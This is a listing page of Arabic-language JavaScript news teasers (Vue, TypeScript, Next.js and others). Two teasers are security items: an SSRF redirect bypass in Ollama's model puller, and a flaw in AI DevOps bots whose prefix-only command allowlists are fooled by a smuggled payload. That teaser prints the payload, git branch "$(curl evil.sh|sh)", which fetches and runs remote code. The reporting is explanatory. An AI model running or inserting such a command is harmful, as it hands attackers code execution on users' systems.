GyaanSetu JavaScript

The JavaScript and TypeScript ecosystem.

90 articlesDeep, practical knowledge

أداة سحب النماذج في Ollama تسمح للمهاجمين غير المصرح لهم بالحصول على البيانات الوصفية للسحابة عبر ثغرة SSRF

لا تزال ثغرة SSRF قائمة في إصدار Ollama 0.33.2 لأن برنامج تنزيل نماذج التنسور يستخدم عميل HTTP منفصلاً يتخطى آلية الحماية من إعادة التوجيه التي أُضيفت لمعالجة CVE-2026-5530، مما يتيح للمهاجمين إعادة توجيه عمليات السحب إلى أي عنوان يمكن الوصول إليه.

JavaScript · 3 دقيقة قراءة

انكشاف بوتات الـ DevOps المدعومة بالذكاء الاصطناعي: القوائم البيضاء للبادئات تسمح للمهاجمين بتشغيل أكواد برمجية عشوائية

توضح الثغرة CVE-2026-22708 أن الوكلاء الذين يتحققون فقط من الرمز الأول للأمر يمكن خداعهم عبر حمولات مخفية في الوسائط—مثل: git branch "$(curl evil.sh|sh)"—مما يمنح المهاجمين نفس صلاحيات بوت الأتمتة.

JavaScript · 4 دقيقة قراءة

WebFPGA يوفر استنتاج TinyML في 4 مللي ثانية بقدرة 30 ميلي واط – لا تخرج أي بيانات من المتصفح

يستخدم WebFPGA واجهة برمجة تطبيقات WebUSB لبرمجة FPGA من نوع Lattice iCE40-UP5K باستخدام JavaScript، مما يتيح استنتاج TinyML في أقل من 10 مللي ثانية مع استهلاك بضع عشرات فقط من الميلي واط وإبقاء جميع البيانات على الجهاز.

JavaScript · 2 دقيقة قراءة

LibreOffice 26.8 يطلق خارطة طريق تضع الخصوصية في المقدمة، متجاوزاً اتصالات الذكاء الاصطناعي السحابية

يقدم الإصدار الجديد تحسيناً في تنسيق الفقرات للنصوص المعقدة، ويضيف عرض مسودة مبسط، ويحسن عملية تحويل ملفات ODF إلى DOCX/XLSX، بينما تضمن التحديثات الأمنية وتقنية عزل الماكرو (macro sandboxing) بقاء المستندات آمنة محلياً.

JavaScript · 2 دقيقة قراءة

TypeScript 7 يقلص زمن تأخير فحص الأنواع بنسبة 40% عبر ملف ثنائي جديد بلغة Rust

يعمل المحرك المكتوب بلغة Rust في عملية منفصلة، مما يفصل تحليل الأنواع عن خيط واجهة المستخدم (UI thread)، مع إضافة تقنية تخزين مؤقت أكثر ذكاءً تعيد فحص الملفات المعدلة فقط، مما يوفر عمليات بناء تزايدية أكثر سرعة وسلاسة.

JavaScript · 2 دقيقة قراءة

وضع Vapor في Vue 3.6 يتخلى عن الـ Virtual DOM ويعزز أداء الألعاب

يقوم وضع Vapor المرتقب في Vue 3.6 بتحويل المكونات أحادية الملف إلى استدعاءات مباشرة للـ DOM، مما يلغي خطوة المقارنة (diffing) الخاصة بالـ virtual-DOM. وفي الألعاب الاختبارية التي تتطلب إعادة رسم عشرات المرات في الثانية، يقلل هذا التغيير من وقت الرندرة ويقلص حجم الحزم البرمجية، رغم أن واجهات المستخدم ذات التردد المنخفض لن تشهد تحسناً ملحوظاً.

JavaScript · 4 دقيقة قراءة

كلود ينقل أربع أدوات للوكلاء إلى مرحلة الإطلاق العام، ملغياً ترويسات النسخة التجريبية للمؤسسات

مع إزالة ترويسات الطلبات المقتصرة على النسخة التجريبية، بات بإمكان المؤسسات أخيراً تجاوز العقبات القانونية والأمنية. كما يعد وضع الإجراءات الجماعية الجديد لأداة استخدام الكمبيوتر بتقليل زمن الاستجابة واستهلاك الرموز (tokens)، وإن كانت هذه التوفيرات لا تزال بحاجة إلى التحقق.

JavaScript · 3 دقيقة قراءة

TanStack Table v9 يقلص حجم الحزمة إلى حوالي 5 كيلوبايت عبر ميزات الاختيار الاختياري

تتيح لك النسخة التجريبية الجديدة استيراد ميزات الشبكة التي تستخدمها فقط، مما يسمح لك بتجاوز كود الترتيب تماماً، وتقليص حجم التنزيل إلى حوالي 5 كيلوبايت، وتجنب العمليات على الخيط الرئيسي التي كانت تبطئ درجات INP سابقاً.

JavaScript · 2 دقيقة قراءة

مصحح أخطاء Chrome DevTools يبطئ عمليات الرفع في Playwright بأكثر من 20 ضعفاً

عندما قامت Coffer بربط مصحح أخطاء Chrome DevTools عبر Playwright، انخفضت سرعة عمليات الرفع القائمة على fetch من 600 ميجابت في الثانية إلى 113 ميجابت في الثانية فقط، مما أدى إلى تباطؤ بأكثر من 20 ضعفاً قلب نتائج اختبارات الأداء الخاصة بهم رأساً على عقب.

JavaScript · 3 دقيقة قراءة

تفعيل SharedArrayBuffer أجبرني على التخلي عن جميع سكربتات الطرف الثالث

أدت إضافة ترويسات COOP و COEP إلى إتاحة تعدد المسارات (multithreading) الحقيقي، لكنها حظرت على الفور أدوات التحليل، وخطوط Google، وتضمينات YouTube، ونوافذ OAuth المنبثقة، مما دفعني لاستضافة الأصول ذاتياً وإعادة كتابة الواجهة الأمامية من الصفر.

JavaScript · 4 دقيقة قراءة

المتصفح مقابل Node: أين يختلف الـ Event Loop

المتصفح مقابل Node: أين يختلف الـ Event Loop. حلقة الأحداث (Event Loop) ليست جزءاً من مواصفات لغة JavaScript، بل هي جزء من بيئة الاستضافة. يقوم المتصفح وNode بتنفيذها بشكل مخـ...

JavaScript · 4 دقيقة قراءة

Next.js 16.3 يضيف Hook useOffline التجريبي للكشف الفوري عن حالة الاتصال

يعيد الـ Hook قيمة منطقية (boolean) يتم تحديثها في الوقت الفعلي، مما يتيح لك استبدال التطبيق الرئيسي برسالة بسيطة "أنت غير متصل" دون انتظار فشل عملية جلب البيانات، لكنه لا يوفر ميزات التخزين المؤقت أو المزامنة في الخلفية بمفرده.

JavaScript · 2 دقيقة قراءة

محرك Sätteri الجديد في Astro 7 يتسبب في أعطال في الرياضيات المعروضة، وروابط العناوين، والإعدادات المخصصة

يتسبب محرك Sätteri القائم على لغة Rust في Astro 7 في خلل بترتيب تمييز الصيغة وتنفيذ الإضافات، حيث يحول كتل الرياضيات المعروضة إلى أكواد نصية عادية، ويمسح معرفات العناوين (heading IDs)، ويتجاهل بصمت أي حقول إعدادات إضافية مثل shikiConfig، مما يضطر المطورين إلى إعادة هيكلة مجموعة أدوات Markdown الخاصة بهم بالكامل.

JavaScript · 3 دقيقة قراءة

AGP 9.2.0 يضاعف سرعة Kotlin Coroutine عبر إعادة كتابة الـ Bytecode باستخدام R8

تقوم أداة R8 المرفقة مع Android Gradle Plugin 9.2.0 الآن باستبدال استدعاءات AtomicFieldUpdater الانعكاسية بتعليمات Unsafe واحدة، مما يقلل تكاليف المزامنة بشكل كبير ويوفر عمليات أسرع بنحو ضعفين لـ channel و mutex و StateFlow دون الحاجة لأي تغييرات في الكود المصدري.

JavaScript · 4 دقيقة قراءة